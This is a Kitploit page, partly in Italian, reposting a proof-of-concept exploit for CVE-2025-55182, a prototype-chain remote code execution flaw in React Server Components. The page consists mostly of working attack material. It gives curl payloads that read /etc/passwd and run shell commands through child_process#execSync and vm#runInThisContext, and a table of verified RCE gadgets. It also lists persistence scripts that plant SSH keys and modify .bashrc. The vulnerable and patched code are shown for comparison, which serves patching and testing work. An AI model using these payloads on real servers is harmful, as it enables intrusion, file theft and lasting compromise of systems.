CVE-2025-55182-poc — Exploit proof-of-concept per CVE-2025-55182, che dimostra l'esecuzione remota di codice tramite una vulnerabilità della catena dei prototipi in React Server Components. Include molteplici gadget RCE e attacchi di persistenza. | Kitploit

CVE-2025-55182 - Vulnerabilità della catena dei prototipi dei React Server Components

Questo POC dimostra CVE-2025-55182 utilizzando il codice vulnerabile effettivo di [email protected].

Quick Start

# Install dependencies
npm install

# Start vulnerable server (port 3002)
npm start

# Run RCE exploit
npm run exploit

Expected Output

=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

NPM Scripts

# Servers
npm start              # Start main server (server-realistic.js, port 3002)
npm run start:legacy   # Start legacy server (server.js, port 3002)

# Exploits
npm run exploit            # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all        # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)

# Start server first
npm start

# Test fs read
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Test command execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# Test vm code execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='

File	Description
`exploit-rce-v4.js`	RCE primaria tramite `vm#runInThisContext`
`exploit-all-gadgets.js`	Testa tutti i gadget RCE (vm, child_process, fs)
`exploit-persistence.js`	Attacchi di persistenza (chiavi SSH, .bashrc)

// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* user's server actions */ },
  'fs': require('fs'),           // via fs-extra, gray-matter, multer
  'child_process': require('child_process'), // via execa, shelljs, puppeteer
  'vm': require('vm'),           // via ejs, pug, handlebars
  'util': require('util'),
};

// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]];  // Accesses prototype chain!

// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

Gadget	Status	Description
`vm#runInThisContext`	✓	Esegue JS arbitrario nel contesto corrente
`vm#runInNewContext`	✓	Esegue in "sandbox" (facilmente aggirabile)
`child_process#execSync`	✓	Esecuzione diretta di comandi shell
`child_process#execFileSync`	✓	Esegue file binari
`child_process#spawnSync`	✓	Esegue un processo (restituisce un oggetto)
`fs#readFileSync`	✓	Legge file arbitrari
`fs#writeFileSync`	✓	Scrive file arbitrari

File	Port	Description
`src/server-realistic.js`	3002	Server principale - simula un bundle webpack con moduli comuni (fs, vm, child_process)
`src/server.js`	3002	Server legacy (usa require diretto)

Version	Attacco	Risultato
React 19.0.0	`vm#runInThisContext`	✓ RCE ottenuta
React 19.2.1	`vm#runInThisContext`	✗ Bloccata

Module	Download settimanali	Pacchetti popolari
`fs`	145M+	fs-extra, gray-matter, multer, sharp
`child_process`	103M+	execa, shelljs, puppeteer, sharp
`vm`	21M+	ejs, pug, handlebars, vm2

CVE-2025-55182-poc

Più Popolari

Test Individual Gadgets

Key Files

Servers

Exploit Scripts

How server-realistic.js Works

The Vulnerability

Root Cause

Attack Vector

All Verified RCE Gadgets

Gadget Payload Examples

Alternative Attack Paths

Do You Need vm or child_process?

Comparison Results

Testing Patched Version

Vulnerable npm Packages

Affected Versions

Fixed Versions